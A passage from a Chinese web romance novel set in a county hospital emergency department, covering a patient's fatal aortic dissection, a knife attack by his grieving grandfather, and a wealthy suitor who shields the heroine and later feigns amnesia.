但凡派人盯着,肯定不会眼睁睁地看着这种事发生。 不过话说回来——结婚了,又怎样?又不是不能离婚。 江明月的右眼皮从林逸进门开始就跳个没完。她用力眨了下眼:“找我什么事?” 林逸动了动唇,绷紧的下颔放松,语声温和地致歉:“对不起,上次待你有失礼数,对此我也一直很后悔。” 后悔当时没有忍耐住。越过了这一步,再想挽回,殊为不易。 江明月垂下眼眸:“没关系,现在我已经结婚了,希望你也能早日找到合适的伴侣。” “承你吉言。”林逸的舌尖抵紧上颚,撑出一个得体的微笑,“我给你买了个海岛,在澳洲大堡礁圣灵群岛,岛上设施齐全,不用你再费心建设。这算作我的赔礼,希望你能接受。” “不用了。我之前也说了,过去的事就算了。” 林逸低头问她:“明月,我们以后还是朋友吗?” 就在这时,江明月的手机铃声大作。 毛小东在电话里狂喊:“江老师,你快来帮我看看这个病人!好像要不行了!” “来了!” 江明月顾不上跟林逸多说,电话都没挂就往急诊狂奔。 刚刚那个急性胸痛的青年,突发昏厥,已经送进了抢救室。一量血压,高得吓人,立刻静脉给了降压药。 青年名叫段明。毛小东问段明爷爷,孙子是否有高血压病史。老人家哭天抢地,一问三不知。 毛小东给江明月看了段明的检查单。心电图和心梗三项均无异常。 毛小东愁眉苦脸道:“不是心绞痛,更不是心梗,现在人昏过去了,病史也问不出来,诊断不明,根本不知道往哪个方向开展救治。” 这情况,江明月也觉得棘手。 急性胸痛可能的病因有很多。在短时间内迅速甄别、判断真正的病因,是每一个急诊医生的难题。 段明的隔壁床躺的就是那个误喝农药的病人,刚洗了胃,洁白的床单上遍布呕吐物。段明的身上则是一股挥之不去的鱼腥气。 抢救室内,气味熏人。 沈归时安顿好那个误喝农药的病人,抽空看了看段明的情况。 “CT查了吗?”沈归时问。 “还没。”毛小东急得要命,“不然先推过去做个头部平扫?又晕又吐的,说不定是脑出血了。” 沈归时看病历,严谨道:“不像。他这个疼痛是由前胸放射到后背的,应该跟脑子没关系。” 江明月道:“先做胸部和上腹的CT。” 沈归时赞同。 毛小东去和家属沟通。 抢救室陆陆续续有医护进出,自动门开了又关,关了又开。 段明爷爷吵嚷的声音不可避免地传了进来:“怎么又要做检查!你们医院就知道骗钱!刚刚查什么心电图,还抽了我孙子一管血,花了四百多块钱!结果什么病都没查出来!” 毛小东解释:“现在还没搞清楚他到底怎么了,所以需要完善检查,这样才能确定他的病因。” “你们这帮庸医!不会看病开什么医院!” 段明爷爷头发花白,人却中气十足,声音尖利,仿佛能穿破天花板。 “怎么吵起来了……”江明月听得头疼,跟沈归时说,“你在这儿守着,我出去看看。” 毛小东见江明月来了,跟看到了救星一样,小声交代道:“江老师,这人是镇上菜市场专门杀鱼的,家里就两口人,祖孙俩相依为命,经济条件一般,不愿意继续花钱做检查。” 江明月轻点一下头,示意自己有数了。 “老人家,你先别激动。我跟你说啊,你孙子目前的情况很危险……” 江明月的话还没说完,就被段明爷爷大声打断:“狗屁危险!我孙子才25岁!能出什么事!你少咒他!这孩子从小就没让我操过心,读书好成绩好,还去省城读研究生了。” 段明爷爷说到这儿,很鄙薄地瞧了眼江明月:“研究生,你知道不?” 毛小东叉着腰说:“大爷你少看不起人啊,江医生也是研究生,还是海大医学院毕业的。” 段明爷爷重重一哼:“女娃读书好有什么用,早晚都要嫁人的。” 老人说话夹杂着方言,江明月虽然听着费劲儿,但也听懂了。 她不计较,只说正事儿:“如果钱不够,可以先欠着,过后再补。检查必须要做,不查清楚没办法对症治疗。” 这时,抢救室的门开了,沈归时走出来说:“段明醒了。” 段明爷爷不满地推搡江明月:“哼!你看!人都醒了!肯定没事儿!你们这些黑心医生,就想多做检查多骗钱!” 沈归时立即上前半步,用小臂挡住段明爷爷的手,冷声道:“说话就说话,不要动手。” 段明爷爷有些驼背,而沈归时站得笔直,比段明爷爷高出一个头,伸出来的那截小臂坚实有力,蕴藏着一个成年男性的充沛力量。 段明爷爷显然欺软怕硬,瞅了眼面如结霜的沈归时,不做声了。 第66章 温柔 谁会不爱这样的江明月? 几个医生回到抢救室, 细问段明病史。 段明称自己研究生入学体检时发现了有高血压,但他一直没当回事。 降压药?不好意思,从来没吃过。 段明说:“医生, 我一定是被导师气出了心脏病。导师他一直压榨我, 总让我帮他干活儿,不给报酬就算了, 还老说我这也不行,那也不行。现在还在暑假, 他早上六点就打电话过来,让我去弄什么田野调查。我没答应, 他问我想不想毕业了。唉,谁听了这话不心梗啊?不开玩笑, 我当时真的心如刀割,胸口痛得不行……” 江明月眉心蹙起:“当时具体是什么样的痛感?你能不能再详细描述一下?” “非常非常疼, 是一种很尖锐的痛感,怎么说呢……就像要把我整个人撕成两半一样……” “卧槽, 不会是夹层吧!” 毛小东心里没底,忍不住回头去看江明月和沈归时。 两个人都神情凝重。 江明月也怀疑是夹层。 主动脉夹层。 刀割样、撕裂样疼痛,都是主动脉夹层的疼痛表现。高血压一直放任不去控制, 也会引发主动脉夹层。呕吐也可以用主动脉夹层导致的血管神经兴奋来解释。晕厥说明夹层累及中枢神经系统。 总之,和段明现在的症状全部对上了。 毛小东试探性地问:“要不……做个CTA明确一下?” 江明月想了想:“CTA有点贵, 还是做心脏彩超吧。” CTA就是血管造影,是诊断主动脉夹层的金标准,但是价格比较贵,两千块钱左右。 心脏彩超的价格不到CTA的十分之一。 毛小东心底“哇”了一声。江老师真的是很好的一个人啊。 刚刚病人家属出言嘲讽她,甚至还动手了,她居然还能不计前嫌地站在病人的角度, 想办法帮他们省钱。 这就是真正的医生吧。 于无声处助人。 抢救室不让家属进,段明爷爷还在门外。 考虑到段明本人受教育程度较高,交流起来比较顺畅,江明月没有再去找段明爷爷沟通,而是直接把疑似主动脉夹层的判断告诉了段明。 段明压根儿没听说过这种病,看上去还挺乐观的:“什么主动……层?还有被动层吗?” 毛小东一脸严肃地解释:“主动脉夹层,就是连接心脏的血管出问题了。这个病比心梗可怕多了——心梗发作了,还有抢救回来的可能。主动脉夹层要是破了,分分钟就寄了,连抢救都来不及。” 毛小东严肃的表情感染了段明。后者收起开玩笑的神色,肉眼可见地变得紧张起来:“那怎么办?” 江明月说:“先做个彩超,看看到底有没有夹层。” “啊,行,好的,我这就去做……” 段明说着就要爬起来下床。 江明月连忙按住他:“你别起来!好好躺着不要乱动!我让彩超室医生推机器过来给你做!” 如果真是主动脉夹层,也许动作稍微大点,夹层就破了,人就没了。 当班的彩超医生是个高年资的老大夫,哼哧哼哧地推着仪器过来了。 随之而来的,还有一名毛小东喊来会诊的心外科医生。 心外医生和彩超医生对着超声屏幕看了许久,基本确认是夹层。 毛小东冷汗都出来了:“书上说主动脉夹层的病人的疼痛是持续不间断的,可他的疼痛明明自行缓解了啊……” 江明月说:“确实不够典型。不过很多病人都不会完全按书本生病的。” 她转头跟段明说:“你得转院,我们帮你联系救护车。” 段明已经懵了:“要转院?” 江明月说:“对,这里治不了。” 主动脉夹层的死亡率很高,尤其A型。25%的患者会在24小时内死亡,九成以上患者一年内死亡。1 要想活命,只能赶在夹层破裂前,通过手术置换血管。手术难度非常高,各省能熟练操作的医院也就那么一两家。 毛小东出去发病危通知单。 段明爷爷冲他咆哮:“我孙子不是已经醒了吗!怎么可能有事!为什么要转院?是不是你们把人治坏了,想推卸责任?” 毛小东顾不上跟他争论,跑上跑下地联系救护车和转诊医院。 时间不等人。对主动脉夹层的病人来说,时间是按分钟算的,每过一分钟,就多一分危险。 毛小东跑得直喘气。终于顺利联系到了一辆救护车,也找到了接收段明的医院。 他撑着墙歇了一会儿,一抬眼,发现前面走廊站着一个西装革履的男人。 林逸朝毛小东望了过来,眸光里没有多少情绪。 毛小东忽然有些局促。 这人气场真强啊。 毛小东咽了下口水,尴尬一笑:“你怎么还在这儿?” 林逸没回答。 也不知道是回答不上来,还是单纯不想理人。 毛小东没话找话:“你是在等江老师吗?她现在有点忙。” 林逸终于淡淡地“嗯”了声。 毛小东指了个方向:“她在抢救室。你直接去那儿等,等她忙完了,第一时间就能看到你。” 毛小东说着,像是忽然想到了什么,紧急补充道:“你放心,沈老师这会儿不在抢救室。他送病人去ICU了,一时半会儿不会回来。” 林逸极轻地哂笑- 段明同意转院安排。 护工将段明抬上担架。毛小东跟在旁边,千叮咛万嘱咐:“慢点慢点!一定要抬稳了!” “本来没毛病的,你们非要检查,现在好了,查出毛病来了。” 段明爷爷跟在后面骂骂咧咧,唾沫星子都喷到了段明的脸上。 段明吸吸鼻子,打了个喷嚏,身体本能地弓了起来,就在这瞬间,他的眼睛一斜,脸色迅速变得煞白。 毛小东心头一顿——完了,夹层破了。 很大可能就是因为打了个喷嚏,将本就薄薄一层的血管冲破了。 “快送回抢救室!抢救!” 一群医护围了上来。 段明胸廓起伏,一句话都说不出来了- 心电监护持续发出报警声,像有声的催命符。 江明月问:“血压多少?” 有人回答她:“量不到了。” 其实在场医护都明白,已经回天乏术了,但还是按照流程完成了抢救操作。 半小时后,死神的镰刀收割了段明的生命。 毛小东一身是汗,虚脱地坐在地上。 那种眼睁睁看着生命在眼前消逝的无力感,蔓延了他整个胸腔。 江明月靠墙站了一会儿。 她见过断肢再接,见过心脏移植。见过牙神经植入眼球,帮助失明患者重见光明。 有时候,她以为现代医学已经无所不能。 但更多时候,她仍旧觉得,现代医学还有很长的路要走。 她想起郑观海常常说的那句——医学的未来属于你们年轻人。 应该说,医学的未来属于一代又一代前赴后继的医学工作者。 他们站在前人的肩膀上,在漫长的岁月里,去探索、去研究、去追寻;去安慰,去帮助,去治愈。 毛小东望了眼江明月,被她眼底那种悲悯而无畏的光震了一下。 很诡异地,他想起了那个在无人的走廊里徘徊等待的男人。 有那么一瞬,他好像理解了那个男人的穷追不舍。 谁会不爱这样的江明月? 她的底色温柔到了极致,有一种近乎神性的慈悲。 毛小东从地上爬起来:“走吧,江老师。” 江明月轻轻点头。 值班医生已经将段明的死讯通知了家属。 江明月和毛小东相继走出抢救室,远远看见段明爷爷在导医台砸东西,一边砸一边咆哮:“好好一个大活人,怎么送到你们医院来就没了?还不是你们治死的!” 几个年轻护士哆嗦着身子,躲在边上,急得都快哭了,七嘴八舌地劝说: “别砸了,别砸了……” “大爷,您先冷静一会儿!哎哎哎!别扔电脑啊!好多资料还没保存呢!” “大爷,您就算把这儿砸光了,您孙子也不可能复活啊!您还是赶紧通知家里人过来吧!” 段明爷爷彻底被激怒:“我没有别的家人了!我就这么一个孙子!” 他从身上背着的网兜里摸出一把杀鱼刀,把导医台砍了个稀巴烂。 路过的病人尖叫着跑开。 江明月打电话报警:“喂,110吗?这里有人闹事。” 段明爷爷恶狠狠地盯了过来:“谁说我在闹事?你们把我孙子治死了,我想讨个公道!不行吗!” 毛小东说:“你这个锅我们可不背啊!你孙子的死因是主动脉夹层,你不信的话可以找法医来解剖,那才叫公道!你在这儿砸东西算什么……” 看到段明爷爷提着杀鱼刀冲过来了,毛小东立刻闭嘴,拖着江明月就跑:“江老师,快跑!这人疯了!” 毛小东身型瘦长,跑起来是真快,像一阵风。 但是县医院急诊也就这么丁点儿大地方,跑着跑着就没路了。 段明爷爷腿脚还挺利索,已经提刀追了过来。几个年轻力壮的男医生路过,赶忙冲上去,想要阻拦。 毛小东骂了句粗口:“这糟老头子怕是不想活了,想抓个垫背的。” 江明月:“……” 段明爷爷在他们两人之间,选中了那个看起来更为弱势的女性。 这一切,都很快。 江明月第一次发现,人在危险面前是来不及思考的。 她只能遵从本能去躲避。 那把刀,很脏,沾着刺鼻的鱼腥气和已经干涸的血迹。但推到眼前的时候,刀刃又分明闪着寒光。 “明月!” 她听见有人在喊她,然后一道身影飞扑过来,呈一个保护的姿态,环抱着她。 周围惊叫声四起。 浓重的血腥气蔓延开来。 江明月怔怔垂眸,看见那把刀深深陷进了林逸的后腰 第67章【正文完】 第67章 正文完结 再见。 四周乱哄哄的声音像是一下子飘远了。整个世界像隔了一层膜, 江明月只听见自己在大喊:“抢救车!推抢救车!” 鲜血浸透了林逸纯黑色的衬衫,血渍印在黑色布料上并不明显,看上去只是濡湿了一大片。 但他的脸色很快变得苍白, 手也慢慢滑落下去了。他终于松开了怀抱。 江明月连忙扶住他的肩膀:“林逸!你再坚持一下!再坚持一下啊!” 林逸缓慢地、纵容地、一如既往温和地勾出一抹笑, 发出一道很轻很短促的音节:“好。” 几名医生推着抢救车奔跑过来,迅速把林逸弄上了车。那柄刀还插在林逸背上, 只能让他俯卧。 现在还不能把刀拔出来,拔了只会加速失血。 江明月有些语无伦次:“快!送抢救室, 请外科急会诊!对了,先去备血, 毛小东!找输血科要血!越多越好!” 段明爷爷失去了唯一的凶器,终于消停下来了。警察也赶到了, 毛小东正在跟警察讲事情的经过,听见江明月喊他, 当即撇下警察,跟在抢救车旁边, 给输血科打电话: “你好,急诊科。有个病人被刀砍了,失血严重……什么?血不够用?” 江明月直接把手机抢过来:“血不够就去找别的血库调, 人命关天!” 电话里的人都懵了:“你谁啊?” “我是江明月。” “啊……江医生啊,现在闹血荒, 我们这儿库存真的不多了……你要什么血制品啊?” “血浆、红细胞、冷沉淀,都要!越多越好!” 江明月一路数着林逸的脉搏,脉搏跳动的速度很快,呈现休克体征。好在人已经到了抢救室。护士围上来打留置针,试了几次都没成功。 护士为难道:“江医生,这人失血过多, 血管都塌了,没办法开静脉通道。” 开通静脉通道是抢救的第一步。没有这个通道,就意味着没办法补液和输血。 “那就做深静脉穿刺!我找麻醉医生过来穿!”毛小东准备打电话摇人。 江明月道:“穿刺针给我。” 毛小东手忙脚乱地找来穿刺针递过去,看着江明月冷静持针,穿进了男人的颈内静脉,置入导管。 “盲穿啊……”毛小东默默感慨江明月艺高人胆大,“江老师,教教我呗。” 显然他问得不合时宜,江明月根本没理会这一句,而是催促他去准备手术室。 她自己则低下头,跟林逸说:“你现在的情况不太好,有生命危险。你家里人的手机号你还记得吗?我帮你联系他们。” “不需要。”林逸的声音很低,听上去像是喃喃自语,“他们不会管我的。” 江明月想起林逸曾说过他父母都对他毫不在意,连生日都不陪他过。 她默了两秒,又说:“手术室已经在准备了,马上就推你过去。” 林逸问:“什么手术?” “把刀取出来,然后清创,缝合。” “我还能活着下手术台吗?” 江明月艰难地说:“会的。” 她希望林逸能活下来。但她心里真的没底。 现在还不确定那把刀有没有刺伤重要的脏器。如果伤到了重要器官,活下来的可能性就很低了。而且那把刀很脏,多半会造成感染。再者,这个县医院的医疗水平有限,很多危急关头救命的仪器都没有。 林逸也知道自己凶多吉少、生死难料。他的嘴唇动了动,声音更轻了,江明月没听清。俯身凑到病床边,才听见他在呢喃:“明月……” “你说,我在听。” 林逸只是伸手碰了碰她的脸颊,眼眸里蕴着一点点不甘心的光,渐渐归于寂灭。 他像是在恳求:“最后一程……你送送我吧。我不想走的时候,太孤独。” 他的指骨冰凉、湿冷,江明月不禁轻颤:“……好。”- 沈归时把那个误服农药的病人送到ICU,安顿好了之后,听说急诊出了事,立刻奔跑下楼回到急诊。 毛小东跟他说了来龙去脉。 “那人脉搏没了,血压还在,不过很低,人已经昏迷了,刚刚推进手术室。”毛小东道。 沈归时问:“明月呢?” 毛小东说:“江老师陪同进手术室了。”- 术中探查发现,刀尖刺进了脊旁软组织,再偏几厘米就插进脊髓了。一旦脊髓离断,即便抢救回来了,腰部以下多半也会瘫痪,终身无法恢复。这算是不幸中的万幸。 林逸术中大量失血,血库告急,发不出血制品。江明月给成助理打了无数个电话,对方始终关机。 消息传到了沈归时这儿,沈归时问了林逸的血型。 和他一样。 这家县医院恰好有采血权。在沈归时的要求下,采血护士给他采了两大袋的血。 几个小时后,经过成分分离的血液,输入到了林逸体内- 成雷刚下飞机,关掉手机飞行模式,看见江明月给他打了十几个电话,差点心脏骤停。 他胆战心惊地回拨过去:“江小姐,实在不好意思,我刚下飞机,您找我是有什么事吗?” 江明月轻轻叹气:“林逸受了刀伤,刚刚在做急诊手术,失血严重。本来想问问你有没有办法找附近省市的血库调剂一些血制品过来,现在不用了。” 成雷脑子都要转不动了:“林总他怎么了?还有什么叫……现在不用了?林总他是没……没救回来吗?” “不是,有人给他献血了,他血红蛋白也稳住了,所以不用另外调血。不过他出现了感染,情况还是不太好,已经送到ICU密切监护了。你现在人在哪里?能不能过来一趟?” 成雷擦着头上的汗:“我刚落地海城,海关还没过。您放心,我这就搭最早的航班走,天黑之前一定赶到彤县。” “你怎么没跟林逸坐同一个航班回来?” “江小姐,林总他是不是做了什么惹你生气了?他说他要找你道歉,所以提前回来了。” 江明月微微静默,岔开话题:“你尽快过来,ICU是有探视时间的,过了时间就只能等明天了。”- 术后的第三天,林逸终于苏醒。 成雷险些热泪盈眶:“林总!您醒了!吓死我了!外面那几个医生还说您要是再不醒过来,可能这辈子就醒不过来了。” 林逸缓慢地扫视他。 成雷激动得想手舞足蹈。他按捺着自己喜悦的心情,向林逸汇报:“您重伤住院的消息我已经瞒下来了,现在外面一点风声都没有,林氏上下也风平浪静,大家都以为您还在澳洲出席活动。” 林逸用一种非常陌生的眼神望着成雷,许久没有发声的声带有些沙哑:“你是谁?” 成雷呆了一下,随即飞奔出去找江明月。 “江小姐,我们老板醒了!但他好像……失忆了!” 江明月叫上管床医生一起去看林逸。 那个曾经肋骨骨折都要住特需病房的矜贵男人,此刻屈尊在一间多人病房。但他似乎天生就有云淡风轻的气质,在ICU此起彼伏的仪器报警声中从容自若。 经过检查,林逸一切肢体功能正常,对答灵敏,语言流畅。 就是不记得自己是谁了。 江明月蹙着眉思索:“也没伤到头啊,怎么就失忆了……” 管床医生说:“人在受到巨大刺激的时候,也有可能会失忆的,这是人体的自我保护机制。他受伤的地方离中枢神经很近,又连续昏迷了这么多天,记忆出现问题也算是后遗症的一种。” 江明月点点头。 管床医生评估之后,建议林逸转到普通病房。 毕竟ICU病房24小时不关灯,经常有危重病人在此不分昼夜地被抢救,或者被放弃。对神志清醒的人来说,是一种折磨。 林逸表示同意。 管床医生去安排转病房的事。 江明月朝成雷点了下头:“成助理,你跟我来一下。” “好的,江小姐。” 病床上的男人望着他们一同走出去的背影,微微眯起了眼。 来到安静的走廊,江明月简单地道明自己的想法:“林逸现在算是脱离危险了,但是恢复还需要一段时间,能不能恢复如初也是个问题。记忆的损伤对他的工作和生活肯定也会有影响。我建议他转院,回海城请专家会诊,也许会有更好的治疗方案。” 海城的医疗资源更丰富。林家的人脉网也主要分布在海城。 成雷认同道:“我明白了,江小姐。” “他的伤口面积大,也比较深,后面还需要好好护理,按时换药。” 成雷打开备忘录开始记:“好的。还有什么需要注意的吗?” “还有……这次真的很感谢他,幸好他活下来了,不然我恐怕会内疚一辈子。明年我回海城,一定登门拜谢。” 考虑到林逸现在失忆了,已经不记得她是谁了,江明月又补充道:“如果他欢迎的话。” “我会为您转达的。以后您有任何需要,也可以随时联系我。” 交谈结束。成雷回到病房。 林逸问:“她找你干什么?” 成雷讶然:“您是说……江小姐?” “对。” “她建议您转院,回海城治疗。”成雷试探般地问道,“您还记得江小姐吗?” “没有印象。” 成雷怅然若失,很快又打起精神:“我马上为您联系合适的医疗团队,预计三天内可以搭乘医疗直升机回到海城。您看可以吗?” 林逸抬手按着太阳穴,似乎在思忖,“暂时不转院,就地治疗。” 成雷道:“好的,林总。江小姐说很感谢您。” “哦?” “哦,您不记得了。您和江小姐之前就认识,这次受伤就是因为她。当时有人持刀行凶,您为她挡了一刀。江小姐说,如果您欢迎,她回海城以后一定登门致谢。” 林逸缓慢抬眼,牵动眉梢微扬:“好啊,我欢迎。”- 林逸转到普通病房后,江明月时不时抽时间去探视。 考虑到沈归时敏感又细腻的心思,江明月怕他多想,每次去之前都会特意跟他报备。 沈归时当然不可能阻拦她。 人家林逸为了她差点没命了,于情于理,江明月都不应该漠视不管。 沈归时表面上装大度,左一句“应该的”,右一句“没关系”。 实际上沈归时看得很紧,要求江明月每次探视时间不得超过十分钟。超过这个时长,他就亲自去病房抓她。 对此,江明月无奈道:“你别这么斤斤计较,林逸他已经失忆了,看我跟看个陌生人一样。” 当时沈归时正在给她剥橙子,闻言橙子也不剥了,就拿那双漂亮的眼眸望着她,较真:“你说我斤斤计较?” “我不是这个意思……”见沈归时绷着脸,江明月的心都软成了一片,低头把他手里剥了一半的橙子拿过来,剥出一瓣橙子,讨好般地喂给他,“对不起,我说错话了,我的意思是,你可以不用这么在意别人,我只喜欢你。” 沈归时想压一压唇角,可惜没压住。笑意流泻出来,瞬间消融了眼底的冰霜。 他可真好哄啊。沈归时没骨气地想- 成雷发现,林逸虽然不记得江明月了,但他依旧对江明月保持着很高的关注度。 成雷私下提醒过林逸,江小姐已经结婚了,和她老公的感情也很好。 林逸只是轻淡地扫他一眼,未置一词。 在成雷的强烈要求下,院方给林逸腾出了一间单独的病房。 林逸虽然没有去海城治疗,但他把海城的专家团队请到了彤县。 这天江明月去病房看他,四名专家正围着林逸的病床讨论病情。其中有两人江明月以前还在讲座上见过,是业内有名的大拿。 江明月见病房里人多,便打算悄悄退出去,改天再来探望。 也不知林逸怎么就发现了她,抬高音量问:“江小姐来了?怎么不坐一会儿再走?” 语气淡淡的,并无任何责难与埋怨,倒像是温情的寒暄。 江明月转身回来,笑吟吟道:“这不是怕打扰几位教授交流嘛。” 既然出声了,在场的几位前辈她也不能当没看见。 于是落落大方地自报家门:“各位老师好,我是海大附院生殖科的江明月。” 大约是看在林逸的面子上,几人都和善地点了点头,然后继续讨论下一步该怎么给林逸用药。 江明月在旁边默默地听了一会儿,听见几人判断林逸只是暂时性失忆,存在恢复记忆的可能,她不由松了口气。 成雷趁着几位专家交流的空隙上前,礼貌道:“林总为大家准备了下榻的酒店,几位教授不妨先去喝些茶水,稍事休息。” 在场都是医术和世故两手抓的人,哪里听不出来这是在委婉地请他们离开。几人笑着说了些“有劳款待”之类的场面话,然后都很配合地跟着成雷走了。 江明月看了眼时间,也准备走人。 她待了有一会儿了,再不走,沈归时就要来抓她了。 “我先走了,明天再来看你。你也别一直躺着,起来活动活动,更有利于身体机能的恢复。” 林逸斜靠在病床上,病号服外面随意地披了件奢牌衬衫。 他朝江明月伸出了手:“扶我起来,可以吗?” “可以啊。”江明月爽快答应。 她托着林逸的清瘦的腕骨,另一手垫在他背后,特意避开了他受伤的位置,让他借力起身。 林逸坐直身子,掀开薄被下床。江明月刚准备抽回手,便感觉到林逸将一部分身体的重量压在了她的身上。她怕他身体虚站不稳,手臂就还维持着原来的姿势,紧紧地扶着他。 林逸的手往后移,指骨微微用力,将托着自己腕骨的那只手,收进掌心轻轻握住。 这个动作他完成得很闲适。似乎只是在单纯地借力。 “江小姐,听我助理说,我们之前就认识,是吗?” “嗯。” “我们之前是什么关系?” 江明月愣了一下。 她想起那天林逸在寂静空旷的走廊上,低着头问她——“明月,我们以后还是朋友吗?” 江明月扶着林逸走到窗边,认真地说:“是朋友。”- 彤县的山水很美。病房的窗外,一望无际,毫无遮挡。远处起伏的山峦映入眼帘,如同写意的泼墨画。 沈归时过来时,就看见江明月和林逸一起站在窗边看风景。 透过病房门上的透明视窗,他看见两人挨得很近,里面的窗子半开着。 医院的窗子都经过特殊设计,不能完全打开。但还是有风从窗缝里吹了进来。 江明月的头发被风吹乱,飘高吹到了林逸面前。 他没有躲,任由那些发丝拂过自己的面颊。 沈归时冷笑着按下门把手,推门进去。 病房里的两人听见动静,转头过来。 沈归时这才发现林逸还紧紧握着江明月的手。江明月就这个姿势扶着林逸。 沈归时脚步一顿。 林逸是后背受伤,腿又没瘸,有必要这么小心地搀扶吗? 沈归时什么也没说,转身去护士站借了把轮椅。 很快他推着轮椅折返,心平气和道:“林先生,站不动的话就坐一会儿。你大病初愈,更要注意休养,不要勉强自己久站。” 轮椅推到了面前。江明月也担心林逸体力不支,顺势扶着林逸坐到了轮椅上。 林逸抬眸盯着她不放:“江小姐,我正好想下楼透透气,你方便推我下去走走吗?” “不方便。”说话的是沈归时。 他上前,对江明月说:“老婆,毛小东一个人在那儿琢磨深静脉穿刺,你去教教他。” 江明月知道沈归时介意自己跟林逸待一块儿。 “好,我现在去。”她应承着,还不忘把林逸安顿好,“你想下楼走走是吗?我找成助理过来。” 林逸轻淡一笑:“不用麻烦了,我自己联系他就行,江小姐去忙吧。我们——明天见。” 最后一句,他说得不疾不徐,像是在做一个自然而然的约定。 “行。”江明月随口应了一声。 病房里只剩下沈归时和林逸。 沈归时的目光中带了些探究的意味:“林先生,你真的失忆了吗?” 林逸从容道:“很遗憾,确实什么都不记得了。” 他从轮椅上站了起来,走到矮柜边倒了杯水。 几步路,步伐很稳,根本不像刚刚那样虚弱到要人搀扶的地步。 “沈医生怎么这么问?是因为我对江小姐的感情——没有变,对吗?” 沈归时陡然沉下了眼。 “别紧张啊沈医生。听说我生死攸关的时候,你还去为我献血了。一直没有机会当面跟你道谢。以后有什么需要帮忙的,尽管跟我提,我一定鼎力相助。” “应该的。毕竟你救了我老婆,我也不希望你出事。” 这是实话。沈归时是发自内心地感激林逸,如果没有他,这会儿躺在病床上的就是江明月,“所以你也不用谢我,应该是我谢谢你。如果你有需要我帮忙的地方,也请你直说。” “那你能不能去办离婚手续,把江小姐让给我?” 沈归时沉黑的眼眸微凝。 林逸轻轻嗤笑:“不是你让我直说的吗?说了你又不愿意。既然做不到,就不要随便承——” 承诺的“诺”还没有说出口,便被沈归时冷声打断:“这是可以帮忙的事吗?” 他停顿,语气更加郑重:“虽然她跟我结婚了,但她又不是我的私有物,她有独立的人格,不会是任何人的附属品,所以不存在我把她‘让’给别人的可能性。也请你尊重她在个人感情中的选择。” 林逸扬了扬眉:“尊重她选择了你?“ 沈归时平静道:“她爱我。” 那又怎么样? “她现在爱你,以后可不一定。” “你什么意思?” “意思是,你有本事就让她爱你一辈子,不要让别人有可乘之机。” 一句话说得很慢,像是忠告也像是威胁,还有几分伺机而动般的期待。 沈归时转开视线。 他清楚地知道,从林逸为江明月挡下那把刀开始,林逸这个人就像那把杀鱼刀一样,以一种强势而决绝的姿态,插入了江明月的人生。 沈归时很介意。 但是没有办法。 这是人家拿命换来的- 几名教授级专家受林逸所托来彤县的事,虽然做得很隐秘,没有大张旗鼓,但瞒不住林氏内部的有心人。 外界虽然不知道内情,但林逸这么久没露面,还在私下请了这么多医学专家,很难不令人想入非非。 显而易见,林逸一定是身体出问题了,为了避免集团动荡,所以选择躲在一个小县城秘密疗养。 几天过去,传言愈演愈烈,越传越离谱。 直到林氏某个元老级高管在酒局中喝多了酒,醉醺醺地告诉众人:“你问林总?那小子从澳洲回来以后出了车祸,撞成植物人了,现在靠呼吸机续命呢。” 算是坐实了近期有关林逸身体状况的种种传闻。 成雷将外界的流言全盘告诉林逸,一脸担忧地说:“林总,集团现在人心浮动,局面对您很不利。您也恢复得差不多了,不如尽早回海城主持大局。” 林逸缓声道:“不急。” 不急? 成雷整张脸都要皱起来了。 老板啊!当初您为了把林氏收入囊中,那可是实打实地筹划了好几年。后来地产行业式微,您力排众议,大刀阔斧推动集团转型,开展多元化投资,林氏的股价也因此翻了一倍。这些您都忘了吗? 好吧,确实是忘了。 成雷纠结了好几分钟,又硬着头皮开了口:“林总,我知道您不记得了,但我必须要提醒您,集团是因为您的很多决策才发展得这么好,不然早就像那几个老牌地产公司那样半死不活了。现在外面都在传您成植物人了,您再不回去镇场,您这些年为集团辛苦耕耘种下的果实,就要被那几个老股东瓜分了!那都是您的成果啊!怎么能拱手让人呢!” 成雷婆婆妈妈地说了一堆。 林逸有些好笑地看着他:“放心,我有分寸。” 成雷听着这句不痛不痒的安慰,满脸只剩无奈。 他怀疑林逸执意留在彤县,只是为了每天多看几眼江小姐。 还有分寸? 真有分寸,就不会盘算着介入人家的婚姻了。 成雷又道:“林总,专家建议您尽早进行心理干预,有助于记忆恢复。我给您预约了心理医生,时间是下午两点,时长大约一个小时。” 林逸说:“退了,我不需要。” 成雷忧心忡忡:“林总,集团还有好几万人等着您养活呢,您一直想不起来,也不方便布置工作啊。” “你别操这个心,集团现在运转得挺好,在岗人员各司其职,出不了什么乱子。” 成雷沉默一阵,似乎找到了一个非常合适的规劝理由:“您想想江小姐,她一直很希望您能够恢复记忆。” 林逸悠悠道:“算了。现在这样就挺好的。我想不起来,她还拿我当朋友。”- 又过了半个多月,林逸这边始终没有什么动静。林氏集团的不少高层审时度势,开始了新一轮的站位。一部分始终置身事外的股东也终于开始摩拳擦掌。 林逸就在这个时候决定回海城。 他对成雷说:“走吧,回去清理门户。” 入秋了,气温骤降。他的话里仿佛也冒着冷气。 成雷头皮发麻。 敢情您之前是有意按兵不动,就等着看集团内部的势力会怎么划分是吧? 成雷心想,这一趟回去,老板又要把集团上上下下重新清洗一遍了。 他都怀疑那个“出车祸变植物人”的消息,是林逸自己放出去的。 等等—— “林总,您是不是恢复记忆了?” 林逸但笑不语。 成雷回过味儿来。 现在一细想,才发觉这事儿从传闻的流出,到舆论的导向,再到势力的洗牌,每一步都布置得周详,绝不是一个失忆的人能办到的。 他之前竟然以为,老板执意留在彤县,只是为了江小姐。 是他格局小了- 江明月从成雷那里得知了林逸的航班号。 她问沈归时:“你说我们要不要去机场送送他?” “我们”。 沈归时琢磨着这两个字,牵过她的纤细的指节:“应该的。” 林逸的伤已经养得差不多了,所以没有动用医疗直升机,而是选择从就近机场起飞。 江明月没有事先跟林逸说自己要去送他,到机场之后才给林逸打了电话,问他人在哪里,她过来送送他。 林逸正在过安检。 贵宾通道空无一人,安检人员公事公办地说:“先生,请把手机放到筐里。” 林逸握着手机回头。 机场不大。 他很快在人群中找到了江明月。 她的穿着并不显眼,只是很普通的白T恤配牛仔裤,外面搭了一件针织开衫。不过由于她和她身边的那个男人出挑的外貌,形色匆匆的路人们总是忍不住回头瞟上两眼。 林逸转身折返。 工作人员急匆匆地跑过来:“先生,先生……这里是单向通道,只进不出。” 林逸跟电话里说:“江小姐,我看见你了,稍等,我马上来。” 他稍有不耐地看着工作人员:“我要出去,走哪边?” 工作人员给他指了个出口。 林逸径直走去- 